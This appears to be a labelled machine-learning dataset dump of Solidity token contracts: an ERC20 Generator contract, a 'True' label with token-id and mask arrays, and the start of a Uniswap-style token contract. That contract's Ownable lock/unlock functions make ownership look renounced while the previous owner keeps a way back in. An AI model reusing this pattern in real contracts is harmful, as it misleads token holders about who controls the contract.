* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
| True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
19204,
2038,
2042,
7013,
2005,
2489,
2478,
16770,
1024,
1013,
1013,
6819,
9284,
22311,
27108,
2072,
1012,
21025,
2705,
12083,
1012,
22834,
1013,
9413,
2278,
11387,
1011,
13103,
1013,
1008,
1008,
3602,
1024,
1000,
3206,
3120,
3642,
20119,
1006,
2714,
2674,
1007,
1000,
2965,
2008,
2023,
19204,
2003,
2714,
2000,
2060,
19204,
2015,
7333,
1008,
2478,
1996,
2168,
13103,
1012,
2009,
2003,
2025,
2019,
3277,
1012,
2009,
2965,
2008,
2017,
2180,
1005,
1056,
2342,
2000,
20410,
2115,
3120,
3642,
2138,
1997,
1008,
2009,
2003,
2525,
20119,
1012,
1008,
1008,
5860,
19771,
5017,
1024,
13103,
1005,
1055,
3166,
2003,
2489,
1997,
2151,
14000,
4953,
1996,
19204,
1998,
1996,
2224,
2008,
2003,
2081,
1997,
2009,
1012,
1008,
1996,
2206,
3642,
2003,
3024,
2104,
10210,
6105,
1012,
3087,
2064,
2224,
2009,
2004,
2566,
2037,
3791,
1012,
1008,
1996,
13103,
1005,
1055,
3800,
2003,
2000,
2191,
2111,
2583,
2000,
19204,
4697,
2037,
4784,
2302,
16861,
2030,
7079,
2005,
2009,
1012,
1008,
3120,
3642,
2003,
2092,
7718,
1998,
10843,
7172,
2000,
5547,
3891,
1997,
12883,
1998,
2000,
8970,
2653,
20600,
2015,
1012,
1008,
4312,
1996,
5309,
1997,
19204,
2015,
7336,
1037,
2152,
3014,
1997,
3891,
1012,
2077,
13868,
19204,
2015,
1010,
2009,
2003,
6749,
2000,
1008,
5362,
21094,
2035,
1996,
2592,
1998,
10831,
6851,
1999,
19204,
3954,
1005,
1055,
3785,
1012,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/**
*Submitted for verification at Etherscan.io on 2021-04-12
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
